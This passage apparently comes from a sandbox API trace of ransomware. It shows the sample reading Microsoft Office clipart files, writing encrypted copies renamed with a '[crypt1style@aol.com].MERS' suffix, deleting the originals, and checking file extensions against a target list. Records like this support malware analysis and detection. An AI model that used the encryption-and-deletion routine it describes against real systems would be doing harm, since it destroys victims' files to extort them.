lpOverlapped=0x0) returned 1 [0273.247] ReadFile (in: hFile=0x410, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.247] WriteFile (in: hFile=0x3e8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.247] SetEndOfFile (hFile=0x3e8) returned 1 [0273.247] CloseHandle (hObject=0x3e8) returned 1 [0273.247] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.247] SetEndOfFile (hFile=0x410) returned 1 [0273.249] CloseHandle (hObject=0x410) returned 1 [0273.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0273.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0273.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0273.331] lstrlenW (lpString=".doc") returned 4 [0273.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.331] lstrlenW (lpString=".docx") returned 5 [0273.331] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.331] lstrlenW (lpString=".pdf") returned 4 [0273.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.331] lstrlenW (lpString=".xls") returned 4 [0273.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.331] lstrlenW (lpString=".xlsx") returned 5 [0273.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.331] lstrlenW (lpString=".ppt") returned 4 [0273.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0273.331] lstrlenW (lpString=".zip") returned 4 [0273.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.331] lstrlenW (lpString=".rar") returned 4 [0273.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.332] lstrlenW (lpString=".bz2") returned 4 [0273.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.332] lstrlenW (lpString=".7z") returned 3 [0273.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0273.332] lstrlenW (lpString=".dbf") returned 4 [0273.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0273.332] lstrlenW (lpString=".1cd") returned 4 [0273.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0273.332] lstrlenW (lpString=".jpg") returned 4 [0273.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0273.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0273.332] lstrlenW (lpString=".doc") returned 4 [0273.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.332] lstrlenW (lpString=".docx") returned 5 [0273.332] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.332] lstrlenW (lpString=".pdf") returned 4 [0273.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.332] lstrlenW (lpString=".xls") returned 4 [0273.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.332] lstrlenW (lpString=".xlsx") returned 5 [0273.332] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.332] lstrlenW (lpString=".ppt") returned 4 [0273.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0273.332] lstrlenW (lpString=".zip") returned 4 [0273.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.332] lstrlenW (lpString=".rar") returned 4 [0273.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.332] lstrlenW (lpString=".bz2") returned 4 [0273.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.332] lstrlenW (lpString=".7z") returned 3 [0273.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0273.333] lstrlenW (lpString=".dbf") returned 4 [0273.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0273.333] lstrlenW (lpString=".1cd") returned 4 [0273.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0273.333] lstrlenW (lpString=".jpg") returned 4 [0273.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.333] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.333] lstrlenW (lpString="BS00445_.WMF") returned 12 [0273.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.349] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=3796) returned 1 [0273.349] CloseHandle (hObject=0x3a8) returned 1 [0273.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20 [0273.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.350] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.350] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0273.350] GetLastError () returned 0x0 [0273.350] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0xed4, lpOverlapped=0x0) returned 1 [0273.495] WriteFile (in: hFile=0x2d8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0273.496] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.496] WriteFile (in: hFile=0x2d8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.496] SetEndOfFile (hFile=0x2d8) returned 1 [0273.501] CloseHandle (hObject=0x2d8) returned 1 [0273.501] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.501] SetEndOfFile (hFile=0x3a8) returned 1 [0273.502] CloseHandle (hObject=0x3a8) returned 1 [0273.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0273.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0273.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0273.555] lstrlenW (lpString=".doc") returned 4 [0273.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.555] lstrlenW (lpString=".docx") returned 5 [0273.556] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.556] lstrlenW (lpString=".pdf") returned 4 [0273.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.556] lstrlenW (lpString=".xls") returned 4 [0273.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.556] lstrlenW (lpString=".xlsx") returned 5 [0273.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.556] lstrlenW (lpString=".ppt") returned 4 [0273.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0273.556] lstrlenW (lpString=".zip") returned 4 [0273.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.556] lstrlenW (lpString=".rar") returned 4 [0273.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.556] lstrlenW (lpString=".bz2") returned 4 [0273.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.556] lstrlenW (lpString=".7z") returned 3 [0273.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0273.556] lstrlenW (lpString=".dbf") returned 4 [0273.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0273.556] lstrlenW (lpString=".1cd") returned 4 [0273.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0273.556] lstrlenW (lpString=".jpg") returned 4 [0273.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0273.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0273.556] lstrlenW (lpString=".doc") returned 4 [0273.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.556] lstrlenW (lpString=".docx") returned 5 [0273.556] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.556] lstrlenW (lpString=".pdf") returned 4 [0273.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.556] lstrlenW (lpString=".xls") returned 4 [0273.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.557] lstrlenW (lpString=".xlsx") returned 5 [0273.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.557] lstrlenW (lpString=".ppt") returned 4 [0273.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0273.557] lstrlenW (lpString=".zip") returned 4 [0273.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.557] lstrlenW (lpString=".rar") returned 4 [0273.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.557] lstrlenW (lpString=".bz2") returned 4 [0273.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.557] lstrlenW (lpString=".7z") returned 3 [0273.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0273.557] lstrlenW (lpString=".dbf") returned 4 [0273.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0273.557] lstrlenW (lpString=".1cd") returned 4 [0273.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0273.557] lstrlenW (lpString=".jpg") returned 4 [0273.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.557] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.557] lstrlenW (lpString="BS01603_.WMF") returned 12 [0273.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0273.562] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=7176) returned 1 [0273.562] CloseHandle (hObject=0x3c4) returned 1 [0273.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x20 [0273.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0273.562] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.562] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0273.563] GetLastError () returned 0x0 [0273.563] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x1c08, lpOverlapped=0x0) returned 1 [0273.564] WriteFile (in: hFile=0x2d8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0273.565] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.565] WriteFile (in: hFile=0x2d8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.565] SetEndOfFile (hFile=0x2d8) returned 1 [0273.565] CloseHandle (hObject=0x2d8) returned 1 [0273.565] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.565] SetEndOfFile (hFile=0x3c4) returned 1 [0273.567] CloseHandle (hObject=0x3c4) returned 1 [0273.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0273.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0273.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0273.567] lstrlenW (lpString=".doc") returned 4 [0273.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.567] lstrlenW (lpString=".docx") returned 5 [0273.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.567] lstrlenW (lpString=".pdf") returned 4 [0273.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.567] lstrlenW (lpString=".xls") returned 4 [0273.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.567] lstrlenW (lpString=".xlsx") returned 5 [0273.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.567] lstrlenW (lpString=".ppt") returned 4 [0273.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0273.567] lstrlenW (lpString=".zip") returned 4 [0273.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.567] lstrlenW (lpString=".rar") returned 4 [0273.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.567] lstrlenW (lpString=".bz2") returned 4 [0273.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.568] lstrlenW (lpString=".7z") returned 3 [0273.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0273.568] lstrlenW (lpString=".dbf") returned 4 [0273.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0273.568] lstrlenW (lpString=".1cd") returned 4 [0273.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0273.568] lstrlenW (lpString=".jpg") returned 4 [0273.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0273.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0273.568] lstrlenW (lpString=".doc") returned 4 [0273.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.568] lstrlenW (lpString=".docx") returned 5 [0273.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.568] lstrlenW (lpString=".pdf") returned 4 [0273.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.568] lstrlenW (lpString=".xls") returned 4 [0273.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.568] lstrlenW (lpString=".xlsx") returned 5 [0273.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.568] lstrlenW (lpString=".ppt") returned 4 [0273.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0273.568] lstrlenW (lpString=".zip") returned 4 [0273.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.568] lstrlenW (lpString=".rar") returned 4 [0273.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.568] lstrlenW (lpString=".bz2") returned 4 [0273.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.568] lstrlenW (lpString=".7z") returned 3 [0273.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0273.569] lstrlenW (lpString=".dbf") returned 4 [0273.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0273.569] lstrlenW (lpString=".1cd") returned 4 [0273.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0273.569] lstrlenW (lpString=".jpg") returned 4 [0273.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.569] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.569] lstrlenW (lpString="BS01635_.WMF") returned 12 [0273.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0273.569] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=14996) returned 1 [0273.569] CloseHandle (hObject=0x3c4) returned 1 [0273.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x20 [0273.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0273.570] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.570] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0273.570] GetLastError () returned 0x0 [0273.570] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x3a94, lpOverlapped=0x0) returned 1 [0273.642] WriteFile (in: hFile=0x2d8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0273.643] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.643] WriteFile (in: hFile=0x2d8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.643] SetEndOfFile (hFile=0x2d8) returned 1 [0273.643] CloseHandle (hObject=0x2d8) returned 1 [0273.643] 